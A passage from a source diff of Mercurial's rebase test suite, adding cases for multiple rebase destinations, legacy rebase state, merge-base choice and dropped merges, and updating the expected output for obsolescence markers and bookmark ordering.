@@ -220,10 +236,6 @@
   $ hg rebase -s9 -d2 --debug # use debug to really check merge base used
   rebase onto 4bc80088dc6b starting from e31216eec445
   rebase status stored
-  ignoring null merge rebase of 3
-  ignoring null merge rebase of 4
-  ignoring null merge rebase of 6
-  ignoring null merge rebase of 8
   rebasing 9:e31216eec445 "more changes to f1"
    future parents are 2 and -1
   rebase status stored
@@ -385,7 +397,7 @@
   $ hg update E -q
   $ echo 3 > B
   $ hg commit --amend -m E -A B -q
-  $ hg rebase -r B+D -d . --config experimental.evolution=all
+  $ hg rebase -r B+D -d . --config experimental.evolution=true
   rebasing 1:112478962961 "B" (B)
   merging B
   warning: conflicts while merging B! (edit, then use 'hg resolve --mark')
@@ -398,7 +410,6 @@
   continue: hg rebase --continue
   $ hg rebase --continue --config experimental.evolution=none
   rebasing 1:112478962961 "B" (B)
-  not rebasing ignored 2:26805aba1e60 "C" (C)
   rebasing 3:f585351a92f8 "D" (D)
   warning: orphaned descendants detected, not stripping 112478962961
   saved backup bundle to $TESTTMP/b/.hg/strip-backup/f585351a92f8-e536a9e4-rebase.hg (glob)
diff --git a/tests/test-rebase-dest.t b/tests/test-rebase-dest.t
--- a/tests/test-rebase-dest.t
+++ b/tests/test-rebase-dest.t
@@ -76,3 +76,378 @@
   (use hg pull followed by hg rebase -d DEST)
   [255]
 
+Setup rebase with multiple destinations
+
+  $ cd $TESTTMP
+
+  $ cat >> $TESTTMP/maprevset.py <<EOF
+  > from __future__ import absolute_import
+  > from mercurial import registrar, revset, revsetlang, smartset
+  > revsetpredicate = registrar.revsetpredicate()
+  > cache = {}
+  > @revsetpredicate('map')
+  > def map(repo, subset, x):
+  >     """(set, mapping)"""
+  >     setarg, maparg = revsetlang.getargs(x, 2, 2, '')
+  >     rset = revset.getset(repo, smartset.fullreposet(repo), setarg)
+  >     mapstr = revsetlang.getstring(maparg, '')
+  >     map = dict(a.split(':') for a in mapstr.split(','))
+  >     rev = rset.first()
+  >     desc = repo[rev].description()
+  >     newdesc = map.get(desc)
+  >     if newdesc == 'null':
+  >         revs = [-1]
+  >     else:
+  >         query = revsetlang.formatspec('desc(%s)', newdesc)
+  >         revs = repo.revs(query)
+  >     return smartset.baseset(revs)
+  > EOF
+
+  $ cat >> $HGRCPATH <<EOF
+  > [ui]
+  > allowemptycommit=1
+  > [extensions]
+  > drawdag=$TESTDIR/drawdag.py
+  > [phases]
+  > publish=False
+  > [alias]
+  > tglog = log -G --template "{rev}: {desc} {instabilities}" -r 'sort(all(), topo)'
+  > [extensions]
+  > maprevset=$TESTTMP/maprevset.py
+  > [experimental]
+  > rebase.multidest=true
+  > evolution=true
+  > EOF
+
+  $ rebasewithdag() {
+  >   N=`$PYTHON -c "print($N+1)"`
+  >   hg init repo$N && cd repo$N
+  >   hg debugdrawdag
+  >   hg rebase "$@" > _rebasetmp
+  >   r=$?
+  >   grep -v 'saved backup bundle' _rebasetmp
+  >   [ $r -eq 0 ] && rm -f .hg/localtags && hg tglog
+  >   cd ..
+  >   return $r
+  > }
+
+Destination resolves to an empty set:
+
+  $ rebasewithdag -s B -d 'SRC - SRC' <<'EOS'
+  > C
+  > |
+  > B
+  > |
+  > A
+  > EOS
+  nothing to rebase - empty destination
+  [1]
+
+Multiple destinations and --collapse are not compatible:
+
+  $ rebasewithdag -s C+E -d 'SRC^^' --collapse <<'EOS'
+  > C F
+  > | |
+  > B E
+  > | |
+  > A D
+  > EOS
+  abort: --collapse does not work with multiple destinations
+  [255]
+
+Multiple destinations cannot be used with --base:
+
+  $ rebasewithdag -b B+E -d 'SRC^^' --collapse <<'EOS'
+  > B E
+  > | |
+  > A D
+  > EOS
+  abort: unknown revision 'SRC'!
+  [255]
+
+Rebase to null should work:
+
+  $ rebasewithdag -r A+C+D -d 'null' <<'EOS'
+  > C D
+  > | |
+  > A B
+  > EOS
+  already rebased 0:426bada5c675 "A" (A)
+  already rebased 2:dc0947a82db8 "C" (C)
+  rebasing 3:004dc1679908 "D" (D tip)
+  o  4: D
+  
+  o  2: C
+  |
+  | o  1: B
+  |
+  o  0: A
+  
+Destination resolves to multiple changesets:
+
+  $ rebasewithdag -s B -d 'ALLSRC+SRC' <<'EOS'
+  > C
+  > |
+  > B
+  > |
+  > Z
+  > EOS
+  abort: rebase destination for f0a671a46792 is not unique
+  [255]
+
+Destination is an ancestor of source:
+
+  $ rebasewithdag -s B -d 'SRC' <<'EOS'
+  > C
+  > |
+  > B
+  > |
+  > Z
+  > EOS
+  abort: source and destination form a cycle
+  [255]
+
+Switch roots:
+
+  $ rebasewithdag -s 'all() - roots(all())' -d 'roots(all()) - ::SRC' <<'EOS'
+  > C  F
+  > |  |
+  > B  E
+  > |  |
+  > A  D
+  > EOS
+  rebasing 2:112478962961 "B" (B)
+  rebasing 4:26805aba1e60 "C" (C)
+  rebasing 3:cd488e83d208 "E" (E)
+  rebasing 5:0069ba24938a "F" (F tip)
+  o  9: F
+  |
+  o  8: E
+  |
+  | o  7: C
+  | |
+  | o  6: B
+  | |
+  | o  1: D
+  |
+  o  0: A
+  
+Different destinations for merge changesets with a same root:
+
+  $ rebasewithdag -s B -d '((parents(SRC)-B-A)::) - (::ALLSRC)' <<'EOS'
+  > C G
+  > |\|
+  > | F
+  > |
+  > B E
+  > |\|
+  > A D
+  > EOS
+  rebasing 3:a4256619d830 "B" (B)
+  rebasing 6:8e139e245220 "C" (C tip)
+  o    8: C
+  |\
+  | o    7: B
+  | |\
+  o | |  5: G
+  | | |
+  | | o  4: E
+  | | |
+  o | |  2: F
+   / /
+  | o  1: D
+  |
+  o  0: A
+  
+Move to a previous parent:
+
+  $ rebasewithdag -s E+F+G -d 'SRC^^' <<'EOS'
+  >     H
+  >     |
+  >   D G
+  >   |/
+  >   C F
+  >   |/
+  >   B E  # E will be ignored, since E^^ is empty
+  >   |/
+  >   A
+  > EOS
+  rebasing 4:33441538d4aa "F" (F)
+  rebasing 6:cf43ad9da869 "G" (G)
+  rebasing 7:eef94f3b5f03 "H" (H tip)
+  o  10: H
+  |
+  | o  5: D
+  |/
+  o  3: C
+  |
+  | o  9: G
+  |/
+  o  1: B
+  |
+  | o  8: F
+  |/
+  | o  2: E
+  |/
+  o  0: A
+  
+Source overlaps with destination:
+
+  $ rebasewithdag -s 'B+C+D' -d 'map(SRC, "B:C,C:D")' <<'EOS'
+  > B C D
+  >  \|/
+  >   A
+  > EOS
+  rebasing 2:dc0947a82db8 "C" (C)
+  rebasing 1:112478962961 "B" (B)
+  o  5: B
+  |
+  o  4: C
+  |
+  o  3: D
+  |
+  o  0: A
+  
+Detect cycles early:
+
+  $ rebasewithdag -r 'all()-Z' -d 'map(SRC, "A:B,B:C,C:D,D:B")' <<'EOS'
+  > A B C
+  >  \|/
+  >   | D
+  >   |/
+  >   Z
+  > EOS
+  abort: source and destination form a cycle
+  [255]
+
+Detect source is ancestor of dest in runtime:
+
+  $ rebasewithdag -r 'C+B' -d 'map(SRC, "C:B,B:D")' -q <<'EOS'
+  >   D
+  >   |
+  > B C
+  >  \|
+  >   A
+  > EOS
+  abort: source is ancestor of destination
+  [255]
+
+"Already rebased" fast path still works:
+
+  $ rebasewithdag -r 'all()' -d 'SRC^' <<'EOS'
+  >   E F
+  >  /| |
+  > B C D
+  >  \|/
+  >   A
+  > EOS
+  already rebased 1:112478962961 "B" (B)
+  already rebased 2:dc0947a82db8 "C" (C)
+  already rebased 3:b18e25de2cf5 "D" (D)
+  already rebased 4:312782b8f06e "E" (E)
+  already rebased 5:ad6717a6a58e "F" (F tip)
+  o  5: F
+  |
+  o  3: D
+  |
+  | o    4: E
+  | |\
+  +---o  2: C
+  | |
+  | o  1: B
+  |/
+  o  0: A
+  
+Massively rewrite the DAG:
+
+  $ rebasewithdag -r 'all()' -d 'map(SRC, "A:I,I:null,H:A,B:J,J:C,C:H,D:E,F:G,G:K,K:D,E:B")' <<'EOS'
+  > D G K
+  > | | |
+  > C F J
+  > | | |
+  > B E I
+  >  \| |
+  >   A H
+  > EOS
+  rebasing 4:701514e1408d "I" (I)
+  rebasing 0:426bada5c675 "A" (A)
+  rebasing 1:e7050b6e5048 "H" (H)
+  rebasing 5:26805aba1e60 "C" (C)
+  rebasing 7:cf89f86b485b "J" (J)
+  rebasing 2:112478962961 "B" (B)
+  rebasing 3:7fb047a69f22 "E" (E)
+  rebasing 8:f585351a92f8 "D" (D)
+  rebasing 10:ae41898d7875 "K" (K tip)
+  rebasing 9:711f53bbef0b "G" (G)
+  rebasing 6:64a8289d2492 "F" (F)
+  o  21: F
+  |
+  o  20: G
+  |
+  o  19: K
+  |
+  o  18: D
+  |
+  o  17: E
+  |
+  o  16: B
+  |
+  o  15: J
+  |
+  o  14: C
+  |
+  o  13: H
+  |
+  o  12: A
+  |
+  o  11: I
+  
+Resolve instability:
+
+  $ rebasewithdag <<'EOF' -r 'orphan()-obsolete()' -d 'max((successors(max(roots(ALLSRC) & ::SRC)^)-obsolete())::)'
+  >      F2
+  >      |
+  >    J E E2
+  >    | |/
+  > I2 I | E3
+  >   \| |/
+  >    H | G
+  >    | | |
+  >   B2 D F
+  >    | |/         # rebase: B -> B2
+  >    N C          # amend: E -> E2
+  >    | |          # amend: E2 -> E3
+  >    M B          # rebase: F -> F2
+  >     \|          # amend: I -> I2
+  >      A
+  > EOF
+  rebasing 16:5c432343bf59 "J" (J tip)
+  rebasing 3:26805aba1e60 "C" (C)
+  rebasing 6:f585351a92f8 "D" (D)
+  rebasing 10:ffebc37c5d0b "E3" (E3)
+  rebasing 13:fb184bcfeee8 "F2" (F2)
+  rebasing 11:dc838ab4c0da "G" (G)
+  o  22: G
+  |
+  o  21: F2
+  |
+  o  20: E3
+  |
+  o  19: D
+  |
+  o  18: C
+  |
+  o  17: J
+  |
+  o  15: I2
+  |
+  o  12: H
+  |
+  o  5: B2
+  |
+  o  4: N
+  |
+  o  2: M
+  |
+  o  0: A
+  
diff --git a/tests/test-rebase-emptycommit.t b/tests/test-rebase-emptycommit.t
--- a/tests/test-rebase-emptycommit.t
+++ b/tests/test-rebase-emptycommit.t
@@ -82,12 +82,12 @@
 "BOOK-D", and "BOOK-E" include changes introduced by "C".
 
   $ hg rebase -s 2 -d E
-  rebasing 2:dc0947a82db8 "C" (C BOOK-C)
+  rebasing 2:dc0947a82db8 "C" (BOOK-C C)
   rebasing 3:e7b3f00ed42e "D" (BOOK-D)
   note: rebase of 3:e7b3f00ed42e created no changes to commit
   rebasing 4:69a34c08022a "E" (BOOK-E)
   note: rebase of 4:69a34c08022a created no changes to commit
-  rebasing 5:6b2aeab91270 "F" (F BOOK-F)
+  rebasing 5:6b2aeab91270 "F" (BOOK-F F)
   saved backup bundle to $TESTTMP/non-merge/.hg/strip-backup/dc0947a82db8-52bb4973-rebase.hg (glob)
   $ hg log -G -T '{rev} {desc} {bookmarks}'
   o  5 F BOOK-F
@@ -134,7 +134,7 @@
   note: rebase of 2:dc0947a82db8 created no changes to commit
   rebasing 3:b18e25de2cf5 "D" (BOOK-D)
   note: rebase of 3:b18e25de2cf5 created no changes to commit
-  rebasing 4:86a1f6686812 "E" (E BOOK-E)
+  rebasing 4:86a1f6686812 "E" (BOOK-E E)
   note: rebase of 4:86a1f6686812 created no changes to commit
   saved backup bundle to $TESTTMP/merge1/.hg/strip-backup/b18e25de2cf5-1fd0a4ba-rebase.hg (glob)
 
@@ -181,11 +181,11 @@
   $ hg rebase -r '(A::)-(B::)-A' -d H
   rebasing 2:dc0947a82db8 "C" (BOOK-C)
   note: rebase of 2:dc0947a82db8 created no changes to commit
-  rebasing 3:b18e25de2cf5 "D" (D BOOK-D)
-  rebasing 4:03ca77807e91 "E" (E BOOK-E)
+  rebasing 3:b18e25de2cf5 "D" (BOOK-D D)
+  rebasing 4:03ca77807e91 "E" (BOOK-E E)
   rebasing 5:ad6717a6a58e "F" (BOOK-F)
   note: rebase of 5:ad6717a6a58e created no changes to commit
-  rebasing 6:c58e8bdac1f4 "G" (G BOOK-G)
+  rebasing 6:c58e8bdac1f4 "G" (BOOK-G G)
   saved backup bundle to $TESTTMP/merge2/.hg/strip-backup/b18e25de2cf5-2d487005-rebase.hg (glob)
 
   $ hg log -G -T '{rev} {desc} {bookmarks}'
diff --git a/tests/test-rebase-legacy.t b/tests/test-rebase-legacy.t
new file mode 100644
--- /dev/null
+++ b/tests/test-rebase-legacy.t
@@ -0,0 +1,76 @@
+Test rebase --continue with rebasestate written by legacy client
+
+  $ cat >> $HGRCPATH <<EOF
+  > [extensions]
+  > rebase=
+  > drawdag=$TESTDIR/drawdag.py
+  > EOF
+
+  $ hg init
+  $ hg debugdrawdag <<'EOF'
+  >    D H
+  >    | |
+  >    C G
+  >    | |
+  >    B F
+  >    | |
+  >  Z A E
+  >   \|/
+  >    R
+  > EOF
+
+rebasestate generated by a legacy client running "hg rebase -r B+D+E+G+H -d Z"
+
+  $ touch .hg/last-message.txt
+  $ cat > .hg/rebasestate <<EOF
+  > 0000000000000000000000000000000000000000
+  > f424eb6a8c01c4a0c0fba9f863f79b3eb5b4b69f
+  > 0000000000000000000000000000000000000000
+  > 0
+  > 0
+  > 0
+  > 
+  > 21a6c45028857f500f56ae84fbf40689c429305b:-2
+  > de008c61a447fcfd93f808ef527d933a84048ce7:0000000000000000000000000000000000000000
+  > c1e6b162678d07d0b204e5c8267d51b4e03b633c:0000000000000000000000000000000000000000
+  > aeba276fcb7df8e10153a07ee728d5540693f5aa:-3
+  > bd5548558fcf354d37613005737a143871bf3723:-3
+  > d2fa1c02b2401b0e32867f26cce50818a4bd796a:0000000000000000000000000000000000000000
+  > 6f7a236de6852570cd54649ab62b1012bb78abc8:0000000000000000000000000000000000000000
+  > 6582e6951a9c48c236f746f186378e36f59f4928:0000000000000000000000000000000000000000
+  > EOF
+
+  $ hg rebase --continue
+  rebasing 4:c1e6b162678d "B" (B)
+  rebasing 8:6f7a236de685 "D" (D)
+  rebasing 2:de008c61a447 "E" (E)
+  rebasing 7:d2fa1c02b240 "G" (G)
+  rebasing 9:6582e6951a9c "H" (H tip)
+  warning: orphaned descendants detected, not stripping c1e6b162678d, de008c61a447
+  saved backup bundle to $TESTTMP/.hg/strip-backup/6f7a236de685-9880a3dc-rebase.hg (glob)
+
+  $ hg log -G -T '{rev}:{node|short} {desc}\n'
+  o  11:721b8da0a708 H
+  |
+  o  10:9d65695ec3c2 G
+  |
+  o  9:21c8397a5d68 E
+  |
+  | o  8:fc52970345e8 D
+  | |
+  | o  7:eac96551b107 B
+  |/
+  | o  6:bd5548558fcf C
+  | |
+  | | o  5:aeba276fcb7d F
+  | | |
+  | o |  4:c1e6b162678d B
+  | | |
+  o | |  3:f424eb6a8c01 Z
+  | | |
+  +---o  2:de008c61a447 E
+  | |
+  | o  1:21a6c4502885 A
+  |/
+  o  0:b41ce7760717 R
+  
diff --git a/tests/test-rebase-named-branches.t b/tests/test-rebase-named-branches.t
--- a/tests/test-rebase-named-branches.t
+++ b/tests/test-rebase-named-branches.t
@@ -16,6 +16,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up tip
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -245,7 +246,7 @@
   @  0: 'A'
   
   $ hg rebase -s 5 -d 6
-  abort: source is ancestor of destination
+  abort: source and destination form a cycle
   [255]
 
   $ hg rebase -s 6 -d 5
diff --git a/tests/test-rebase-newancestor.t b/tests/test-rebase-newancestor.t
--- a/tests/test-rebase-newancestor.t
+++ b/tests/test-rebase-newancestor.t
@@ -3,7 +3,7 @@
   > usegeneraldelta=yes
   > [extensions]
   > rebase=
-  > 
+  > drawdag=$TESTDIR/drawdag.py
   > [alias]
   > tglog = log -G --template "{rev}: '{desc}' {branches}\n"
   > EOF
@@ -334,3 +334,93 @@
   |/
   o  0: 'common'
   
+Due to the limitation of 3-way merge algorithm (1 merge base), rebasing a merge
+may include unwanted content:
+
+  $ hg init $TESTTMP/dual-merge-base1
+  $ cd $TESTTMP/dual-merge-base1
+  $ hg debugdrawdag <<'EOS'
+  >   F
+  >  /|
+  > D E
+  > | |
+  > B C
+  > |/
+  > A Z
+  > |/
+  > R
+  > EOS
+  $ hg rebase -r D+E+F -d Z
+  rebasing 5:5f2c926dfecf "D" (D)
+  rebasing 6:b296604d9846 "E" (E)
+  rebasing 7:caa9781e507d "F" (F tip)
+  abort: rebasing 7:caa9781e507d will include unwanted changes from 4:d6003a550c2c or 3:c1e6b162678d
+  [255]
+
+The warning does not get printed if there is no unwanted change detected:
+
+  $ hg init $TESTTMP/dual-merge-base2
+  $ cd $TESTTMP/dual-merge-base2
+  $ hg debugdrawdag <<'EOS'
+  >   D
+  >  /|
+  > B C
+  > |/
+  > A Z
+  > |/
+  > R
+  > EOS
+  $ hg rebase -r B+C+D -d Z
+  rebasing 3:c1e6b162678d "B" (B)
+  rebasing 4:d6003a550c2c "C" (C)
+  rebasing 5:c8f78076273e "D" (D tip)
+  saved backup bundle to $TESTTMP/dual-merge-base2/.hg/strip-backup/d6003a550c2c-6f1424b6-rebase.hg (glob)
+  $ hg manifest -r 'desc(D)'
+  B
+  C
+  R
+  Z
+
+The merge base could be different from old p1 (changed parent becomes new p1):
+
+  $ hg init $TESTTMP/chosen-merge-base1
+  $ cd $TESTTMP/chosen-merge-base1
+  $ hg debugdrawdag <<'EOS'
+  >   F
+  >  /|
+  > D E
+  > | |
+  > B C Z
+  > EOS
+  $ hg rebase -r D+F -d Z
+  rebasing 3:004dc1679908 "D" (D)
+  rebasing 5:4be4cbf6f206 "F" (F tip)
+  saved backup bundle to $TESTTMP/chosen-merge-base1/.hg/strip-backup/004dc1679908-06a66a3c-rebase.hg (glob)
+  $ hg manifest -r 'desc(F)'
+  C
+  D
+  E
+  Z
+  $ hg log -r `hg log -r 'desc(F)' -T '{p1node}'` -T '{desc}\n'
+  D
+
+  $ hg init $TESTTMP/chosen-merge-base2
+  $ cd $TESTTMP/chosen-merge-base2
+  $ hg debugdrawdag <<'EOS'
+  >   F
+  >  /|
+  > D E
+  > | |
+  > B C Z
+  > EOS
+  $ hg rebase -r E+F -d Z
+  rebasing 4:974e4943c210 "E" (E)
+  rebasing 5:4be4cbf6f206 "F" (F tip)
+  saved backup bundle to $TESTTMP/chosen-merge-base2/.hg/strip-backup/974e4943c210-b2874da5-rebase.hg (glob)
+  $ hg manifest -r 'desc(F)'
+  B
+  D
+  E
+  Z
+  $ hg log -r `hg log -r 'desc(F)' -T '{p1node}'` -T '{desc}\n'
+  E
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -8,11 +8,13 @@
   > [ui]
   > logtemplate= {rev}:{node|short} {desc|firstline}
   > [experimental]
-  > evolution=createmarkers,allowunstable
+  > evolution.createmarkers=True
+  > evolution.allowunstable=True
   > [phases]
   > publish=False
   > [extensions]
   > rebase=
+  > drawdag=$TESTDIR/drawdag.py
   > EOF
 
 Setup rebase canonical repo
@@ -24,6 +26,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up tip
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -100,9 +103,9 @@
   o  0:cd010b8cd998 A
   
   $ hg debugobsolete
-  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 e4e5be0395b2cbd471ed22a26b1b6a1a0658a794 0 (*) {'user': 'test'} (glob)
-  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b 2327fea05063f39961b14cb69435a9898dc9a245 0 (*) {'user': 'test'} (glob)
-  32af7686d403cf45b5d95f2d70cebea587ac806a 8eeb3c33ad33d452c89e5dcf611c347f978fb42b 0 (*) {'user': 'test'} (glob)
+  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 e4e5be0395b2cbd471ed22a26b1b6a1a0658a794 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b 2327fea05063f39961b14cb69435a9898dc9a245 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  32af7686d403cf45b5d95f2d70cebea587ac806a 8eeb3c33ad33d452c89e5dcf611c347f978fb42b 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
 
 
   $ cd ..
@@ -170,9 +173,9 @@
   o  0:cd010b8cd998 A
   
   $ hg debugobsolete
-  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 0 {cd010b8cd998f3981a5a8115f94f8da4ab506089} (*) {'user': 'test'} (glob)
-  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b 5ae4c968c6aca831df823664e706c9d4aa34473d 0 (*) {'user': 'test'} (glob)
-  32af7686d403cf45b5d95f2d70cebea587ac806a 0 {5fddd98957c8a54a4d436dfe1da9d87f21a1b97b} (*) {'user': 'test'} (glob)
+  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 0 {cd010b8cd998f3981a5a8115f94f8da4ab506089} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b 5ae4c968c6aca831df823664e706c9d4aa34473d 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  32af7686d403cf45b5d95f2d70cebea587ac806a 0 {5fddd98957c8a54a4d436dfe1da9d87f21a1b97b} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
 
 
 More complex case where part of the rebase set were already rebased
@@ -180,10 +183,10 @@
   $ hg rebase --rev 'desc(D)' --dest 'desc(H)'
   rebasing 9:08483444fef9 "D"
   $ hg debugobsolete
-  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 0 {cd010b8cd998f3981a5a8115f94f8da4ab506089} (*) {'user': 'test'} (glob)
-  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b 5ae4c968c6aca831df823664e706c9d4aa34473d 0 (*) {'user': 'test'} (glob)
-  32af7686d403cf45b5d95f2d70cebea587ac806a 0 {5fddd98957c8a54a4d436dfe1da9d87f21a1b97b} (*) {'user': 'test'} (glob)
-  08483444fef91d6224f6655ee586a65d263ad34c 4596109a6a4328c398bde3a4a3b6737cfade3003 0 (*) {'user': 'test'} (glob)
+  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 0 {cd010b8cd998f3981a5a8115f94f8da4ab506089} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b 5ae4c968c6aca831df823664e706c9d4aa34473d 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  32af7686d403cf45b5d95f2d70cebea587ac806a 0 {5fddd98957c8a54a4d436dfe1da9d87f21a1b97b} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  08483444fef91d6224f6655ee586a65d263ad34c 4596109a6a4328c398bde3a4a3b6737cfade3003 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
   $ hg log -G
   @  11:4596109a6a43 D
   |
@@ -205,16 +208,16 @@
   
   $ hg rebase --source 'desc(B)' --dest 'tip' --config experimental.rebaseskipobsolete=True
   rebasing 8:8877864f1edb "B"
-  note: not rebasing 9:08483444fef9 "D", already in destination as 11:4596109a6a43 "D"
+  note: not rebasing 9:08483444fef9 "D", already in destination as 11:4596109a6a43 "D" (tip)
   rebasing 10:5ae4c968c6ac "C"
   $ hg debugobsolete
-  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 0 {cd010b8cd998f3981a5a8115f94f8da4ab506089} (*) {'user': 'test'} (glob)
-  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b 5ae4c968c6aca831df823664e706c9d4aa34473d 0 (*) {'user': 'test'} (glob)
-  32af7686d403cf45b5d95f2d70cebea587ac806a 0 {5fddd98957c8a54a4d436dfe1da9d87f21a1b97b} (*) {'user': 'test'} (glob)
-  08483444fef91d6224f6655ee586a65d263ad34c 4596109a6a4328c398bde3a4a3b6737cfade3003 0 (*) {'user': 'test'} (glob)
-  8877864f1edb05d0e07dc4ba77b67a80a7b86672 462a34d07e599b87ea08676a449373fe4e2e1347 0 (*) {'user': 'test'} (glob)
-  5ae4c968c6aca831df823664e706c9d4aa34473d 98f6af4ee9539e14da4465128f894c274900b6e5 0 (*) {'user': 'test'} (glob)
-  $ hg log --rev 'divergent()'
+  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 0 {cd010b8cd998f3981a5a8115f94f8da4ab506089} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b 5ae4c968c6aca831df823664e706c9d4aa34473d 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  32af7686d403cf45b5d95f2d70cebea587ac806a 0 {5fddd98957c8a54a4d436dfe1da9d87f21a1b97b} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  08483444fef91d6224f6655ee586a65d263ad34c 4596109a6a4328c398bde3a4a3b6737cfade3003 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  8877864f1edb05d0e07dc4ba77b67a80a7b86672 462a34d07e599b87ea08676a449373fe4e2e1347 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  5ae4c968c6aca831df823664e706c9d4aa34473d 98f6af4ee9539e14da4465128f894c274900b6e5 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  $ hg log --rev 'contentdivergent()'
   $ hg log -G
   o  13:98f6af4ee953 C
   |
@@ -349,9 +352,9 @@
   $ hg id --debug -r tip
   4dc2197e807bae9817f09905b50ab288be2dbbcf tip
   $ hg debugobsolete
-  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 4dc2197e807bae9817f09905b50ab288be2dbbcf 0 (*) {'user': 'test'} (glob)
-  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b 4dc2197e807bae9817f09905b50ab288be2dbbcf 0 (*) {'user': 'test'} (glob)
-  32af7686d403cf45b5d95f2d70cebea587ac806a 4dc2197e807bae9817f09905b50ab288be2dbbcf 0 (*) {'user': 'test'} (glob)
+  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 4dc2197e807bae9817f09905b50ab288be2dbbcf 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b 4dc2197e807bae9817f09905b50ab288be2dbbcf 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  32af7686d403cf45b5d95f2d70cebea587ac806a 4dc2197e807bae9817f09905b50ab288be2dbbcf 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
 
   $ cd ..
 
@@ -411,9 +414,9 @@
   o  0:cd010b8cd998 A
   
   $ hg debugobsolete
-  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b e273c5e7d2d29df783dce9f9eaa3ac4adc69c15d 0 (*) {'user': 'test'} (glob)
-  32af7686d403cf45b5d95f2d70cebea587ac806a cf44d2f5a9f4297a62be94cbdd3dff7c7dc54258 0 (*) {'user': 'test'} (glob)
-  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 7c6027df6a99d93f461868e5433f63bde20b6dfb 0 (*) {'user': 'test'} (glob)
+  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b e273c5e7d2d29df783dce9f9eaa3ac4adc69c15d 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  32af7686d403cf45b5d95f2d70cebea587ac806a cf44d2f5a9f4297a62be94cbdd3dff7c7dc54258 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 7c6027df6a99d93f461868e5433f63bde20b6dfb 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
 
 Test that rewriting leaving instability behind is allowed
 ---------------------------------------------------------------------
@@ -449,7 +452,6 @@
   $ hg rebase --dest 4 --rev '7+11+9'
   rebasing 9:cf44d2f5a9f4 "D"
   rebasing 7:02de42196ebe "H"
-  not rebasing ignored 10:7c6027df6a99 "B"
   rebasing 11:0d8f238b634c "C" (tip)
   $ hg log -G
   o  14:1e8370e38cca C
@@ -472,6 +474,30 @@
   
   $ cd ..
 
+Detach both parents
+
+  $ hg init double-detach
+  $ cd double-detach
+
+  $ hg debugdrawdag <<EOF
+  >   F
+  >  /|
+  > C E
+  > | |
+  > B D G
+  >  \|/
+  >   A
+  > EOF
+
+  $ hg rebase -d G -r 'B + D + F'
+  rebasing 1:112478962961 "B" (B)
+  rebasing 2:b18e25de2cf5 "D" (D)
+  rebasing 6:f15c3adaf214 "F" (F tip)
+  abort: cannot rebase 6:f15c3adaf214 without moving at least one of its parents
+  [255]
+
+  $ cd ..
+
 test on rebase dropping a merge
 
 (setup)
@@ -483,6 +509,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
